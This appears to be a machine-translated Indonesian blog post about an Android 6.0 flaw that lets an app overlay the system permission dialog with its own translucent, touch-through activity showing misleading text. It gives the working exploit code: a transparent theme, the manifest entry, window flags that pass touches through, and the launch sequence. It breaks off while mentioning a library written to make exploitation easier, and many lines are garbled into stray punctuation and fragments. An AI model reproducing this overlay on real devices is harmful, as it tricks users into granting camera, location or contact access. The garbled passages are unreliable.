Halo, nama saya Vitaly.
Saya berusia 25 tahun, saya lulus dari Universitas Elektroteknik Negeri St. Petersburg "LETI" di kota asal saya. Saya telah memprogram selama 10 tahun, 4 di antaranya saya menulis untuk Android. Penulis banyak program Homebrew, yang dikenal sebagai VITTACH, untuk Sony PlayStation Portable (PSP) .
Hari ini saya ingin mendiskusikan dengan Anda masalah keamanan aplikasi seluler. Pengembang di Google terus meningkatkan Android, menemukan dan memperbaiki kerentanan dengan bantuan komunitas besar yang berkumpul berkat program Hadiah Keamanan Android , yang akan kita bicarakan nanti. Namun demikian, masalah masih tetap ada, dan merupakan tugas bersama kita sebagai komunitas untuk melaporkannya agar dapat diselesaikan tepat waktu.
Kerentanan yang saya bicarakan tergolong kelas dengan Prioritas: P2 dan Severity: S2 , yang menurut tabel dalam arti luas berarti:
Masalah yang perlu diselesaikan dalam jangka waktu yang wajar;
Masalah yang penting bagi sebagian besar pengguna dan terkait dengan fungsionalitas inti.
Izin runtime
Artikel ini akan berfokus pada hal yang dikenal oleh semua pengembang sebagai izin Waktu proses, yaitu kemungkinan menyesatkan pengguna akhir dengan mendemonstrasikan kotak dialog izin dengan teks dan ikonnya sendiri di atas sistem. Mudah untuk menebak bahwa pendekatan seperti itu akan memungkinkan pengembang untuk meminta izin pengguna, katakanlah, ke sistem file, dan pada kenyataannya - untuk memberikan akses ke geolokasi, kamera atau yang lainnya.
Tidak mungkin
Pertanyaan serupa telah ditanyakan lebih dari sekali di forum khusus, khususnya di StackOverflow . Satu-satunya jawaban yang benar adalah bahwa itu tidak mungkin. Dan ini memang benar: tidak mungkin untuk mengganti teks dalam dialog sistem itu sendiri, tetapi dimungkinkan untuk menimpanya dengan teks Anda sendiri.
Apa yang ada di bawah tenda
Runtime Permission Android 6.0
dangerous-. , . dangerous .
Dangerous permissions
android.permission_group.CALENDAR
android.permission.READ_CALENDAR
android.permission.WRITE_CALENDAR
android.permission_group.CAMERA
android.permission.CAMERA
android.permission_group.CONTACTS
android.permission.READ_CONTACTS
android.permission.WRITE_CONTACTS
android.permission.GET_ACCOUNTS
android.permission_group.LOCATION
android.permission.ACCESSFINELOCATION
android.permission.ACCESSCOARSELOCATION
android.permission_group.MICROPHONE
android.permission.RECORD_AUDIO
android.permission_group.PHONE
android.permission.READPHONESTATE
android.permission.CALL_PHONE
android.permission.READCALLLOG
android.permission.WRITECALLLOG
android.permission.ADD_VOICEMAIL
android.permission.USE_SIP
android.permission.PROCESSOUTGOINGCALLS
android.permission_group.SENSORS
android.permission.BODY_SENSORS
android.permission_group.SMS
android.permission.SEND_SMS
android.permission.RECEIVE_SMS
android.permission.READ_SMS
android.permission.RECEIVEWAPPUSH
android.permission.RECEIVE_MMS
android.permission.READCELLBROADCASTS
android.permission_group.STORAGE
android.permission.READEXTERNALSTORAGE
android.permission.WRITEEXTERNALSTORAGE
Android GrantPermissionsActivity, .
ActivityCompat.requestPermissions(
MainActivity.this,
arrayOf(Manifest.permission.READ_CONTACTS),
PERMISSION_REQUEST_CODE
)
Activity, UI , Activity, .
:
Activity android:windowIsTranslucent=true
( Activity , , ) Activity , . Activity Activity .
– Activity , – Activity . Activity, ?
, , , , . , :
Activity , onResume
onPause
. Activity.
, Activity , . – !
,
Kotlin
,
<style name="Theme.Transparent" parent="AppTheme"> <item name="android:windowBackground">@android:color/transparent</item> <item name="android:windowIsTranslucent">true</item> </style>
Activity
... <activity android:name=".PermissionActivity" android:theme="@style/Theme.Transparent">
PermissionActivity layout
onCreate :
window.addFlags( FLAG_NOT_FOCUSABLE or FLAG_NOT_TOUCH_MODAL or FLAG_NOT_TOUCHABLE )
:
FLAG_NOT_FOCUSABLE
: window,FLAG_NOT_FOCUSABLE
, ;
FLAG_NOT_TOUCH_MODAL
: , , , ;
FLAG_NOT_TOUCHABLE
: .
MainActivity
ActivityCompat.requestPermissions( MainActivity.this, arrayOf(Manifest.permission.READ_CONTACTS), REQUEST_CODE )
MainActivity : PermissionActivity.
startActivity(Intent(this, PermissionActivity::class.java))
PermissionActivity Activity . !
Android >= 7.1.1
Runtime Permission Android 6.0
, 7.1.1
, .. Android
.
Android 6.0
, . , Google .
Android Rewards Program
Saya mengajukan aplikasi dan melampirkan semua dokumen penjelasan dan demonstrasi terkait dengan kerentanan ini. Saat ini, permohonan sedang dipertimbangkan, jadi saya tidak bisa membocorkan detailnya, karena saya sudah menandatangani perjanjian terkait.
Bagaimana lebih mudah?
Untuk kenyamanan mengeksploitasi kerentanan, saya menulis perpustakaan